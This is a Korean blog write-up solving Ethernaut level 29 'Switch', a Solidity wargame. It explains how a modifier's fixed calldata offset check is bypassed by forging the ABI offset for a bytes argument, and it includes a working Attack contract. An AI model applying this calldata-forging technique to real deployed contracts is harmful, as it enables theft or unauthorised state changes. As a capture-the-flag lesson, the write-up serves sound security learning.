티스토리 뷰

Solidity/Hacking

[Ethernaut] 29. Switch

piatoss 2024. 2. 7. 11:37

1. 문제

 

The Ethernaut

The Ethernaut is a Web3/Solidity based wargame played in the Ethereum Virtual Machine. Each level is a smart contract that needs to be 'hacked'. The game is 100% open source and all levels are contributions made by other players.

ethernaut.openzeppelin.com

Just have to flip the switch. Can't be that hard, right? 

 

Things that might help: 

Understanding how CALLDATA is encoded.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Switch {
    bool public switchOn; // switch is off
    bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));

     modifier onlyThis() {
        require(msg.sender == address(this), "Only the contract can call this");
        _;
    }

    modifier onlyOff() {
        // we use a complex data type to put in memory
        bytes32[1] memory selector;
        // check that the calldata at position 68 (location of _data)
        assembly {
            calldatacopy(selector, 68, 4) // grab function selector from calldata
        }
        require(
            selector[0] == offSelector,
            "Can only call the turnOffSwitch function"
        );
        _;
    }

    function flipSwitch(bytes memory _data) public onlyOff {
        (bool success, ) = address(this).call(_data);
        require(success, "call failed :(");
    }

    function turnSwitchOn() public onlyThis {
        switchOn = true;
    }

    function turnSwitchOff() public onlyThis {
        switchOn = false;
    }
}

2. 풀이

 switchOn은 boolean 타입으로, 기본값은 false입니다. 이를 true로 변경해야 합니다.

 

 코드를 살펴보니 직접 switchOn을 true로 변경하는 turnSwitchOn 함수가 있습니다. 그러나 컨트랙트 자기 자신만 호출할 수 있도록 함수 변경자가 붙어있네요.

function turnSwitchOn() public onlyThis {
    switchOn = true;
}
modifier onlyThis() {
    require(msg.sender == address(this), "Only the contract can call this");
    _;
}

 그다음으로는 flipSwitch 함수가 있습니다. 이 함수는 bytes 타입의 _data를 매개변수로 받아 자기 자신에 대해 call 함수를 호출하기 위한 인수로 사용합니다. 이를 활용해 call 함수를 호출할 때 turnSwitchOn을 호출하도록 하면 문제를 해결할 수 있을 것 같습니다.

function flipSwitch(bytes memory _data) public onlyOff {
    (bool success, ) = address(this).call(_data);
    require(success, "call failed :(");
}

 그런데 이번에는 또다른 기이한 함수 변경자가 붙어있습니다. 어셈블리 코드가 포함되어 있고 calldatacopy라는 opcode를 사용하고 있습니다. 이를 간단하게 설명하자면, 'calldatacopy(selector, 68, 4)' 함수 호출에 사용된 calldata(=msg.data)의 앞부분 68개의 바이트를 건너뛰고 69번째 바이트에서부터 4개의 바이트를 복사하여 selector로 붙여 넣는 것입니다. 그리고 이렇게 붙여 넣은 값이 turnSwitchOff 함수의 선택자와 동일해야 합니다.

 

 여기서 bytes32 타입과 bytes4 타입을 비교하는데 bytes4 타입을 bytes32로 컨버팅하면 bytes4 값의 뒤에 비어있는 28 바이트가 추가되고, bytes32 타입을 bytes4로 컨버팅 하면 앞에서부터 4 바이트만 남으므로 어느 방식으로 비교를 하든 결과는 동일하기 때문에 '==' 연산자를 사용해 직접 비교가 가능합니다.

bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));

modifier onlyOff() {
    // we use a complex data type to put in memory
    bytes32[1] memory selector;
    // check that the calldata at position 68 (location of _data)
    assembly {
        calldatacopy(selector, 68, 4) // grab function selector from calldata
    }
    require(
        selector[0] == offSelector,
        "Can only call the turnOffSwitch function"
    );
    _;
}

 flipSwitch 함수를 호출하기 위한 calldata는 기본적으로 다음과 같이 구성됩니다.

함수 선택자 4 바이트 + _data의 ABI 인코딩
 함수 선택자 4 바이트 + _data의 offset을 나타내는 32 바이트 + _data의 길이를 나타내는 32 바이트 + _data

call 함수로 switchOn 함수를 호출하기 위해서는 _data 값이 switchOn 함수의 선택자가 되어야 합니다.

함수 선택자 4 바이트 + _data의 offset을 나타내는 32 바이트 + _data의 길이를 나타내는 32 바이트 +
switchOn 함수의 선택자 4 바이트

 그러나 이런 식으로 calldata가 구성된다면 onlyOff 변경자를 돌파할 수가 없습니다. calldata의 69번째 바이트부터 4바이트가 switchOff 함수의 선택자여야 하니 말입니다.

 

 여기서 사용할 수 있는 방법은 인코딩된 _data의 offset을 임의의 값으로 수정하는 것입니다. bytes 타입의 값을 ABI 인코딩 했을 때의 기본적인 offset은 32입니다. 디코더는 이를 통해 뒤에 이어지는 32 바이트는 길이를 나타내고 그 뒤에서부터가 진짜 데이터라는 것을 알 수 있습니다. 그렇다면 offset이 64라면 어떨까요? 디코더는 64개의 바이트를 건너뛰고 65번째 바이트부터를 데이터로 읽어들입니다.

 

 이 방법을 사용하면 offset을 임의(32의 배수)로 조절하여 calldata의 중간에 교묘하게  switchOff 함수의 선택자를 집어넣을 수 있습니다. 다음 컨트랙트는 공격을 위해 작성된 컨트랙트입니다. offset 값을 96으로 설정하고 69번째 바이트부터 100번째 바이트에 offSelector를 인코딩한 값을 집어넣어 onlyOff 변경자를 통과할 수 있게 만들었습니다. 주의할 점은 컨트랙트 인스턴스를 사용해 flipSwitch를 직접 호출하지 않고 call을 사용해 호출해야 합니다. 그래야 offset 값을 임의로 조절할 수 있습니다.

contract Attack {
    bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));
    address public target;

    constructor(address _switch) {
        target = _switch;
    }

    function attack() external {
        (bool ok, ) = target.call(
            abi.encodePacked(
                Switch.flipSwitch.selector, // 4bytes
                abi.encode(96), // offset size = 96bytes
                abi.encode(0x00), // dummy 32bytes
                abi.encode(offSelector), // 32bytes start with offSelector
                abi.encode(4), // actual data size = 4bytes
                abi.encodeWithSelector(Switch.turnSwitchOn.selector) // 4bytes data
            )
        );
        require(ok);
    }
}

 Switch 인스턴스의 주소를 인수로 사용하여 컨트랙트를 배포하고 attack 함수를 실행합니다.

 

 트랜잭션이 컨펌되고, switchOn 갑이 true로 변한 것을 확인할 수 있습니다.

 

 인스턴스를 제출하고 마무리합니다.


3. 참고

 

 

EVM Codes

An Ethereum Virtual Machine Opcodes Interactive Reference

www.evm.codes

 

'Solidity > Hacking' 카테고리의 다른 글

[Damn Vulnerable DeFi] Unstoppable, Naive Receiver  (0) 2024.02.21
[Ethernaut] 18. MagicNumber  (0) 2024.02.15
[Ethernaut] 28. Gatekeeper Three  (1) 2024.02.06
[Ethernaut] 27. Good Samaritan  (1) 2024.02.05
[Ethernaut] 23. Dex Two  (0) 2024.02.04
최근에 올라온 글
최근에 달린 댓글
«   2025/01   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Total
Today
Yesterday
글 보관함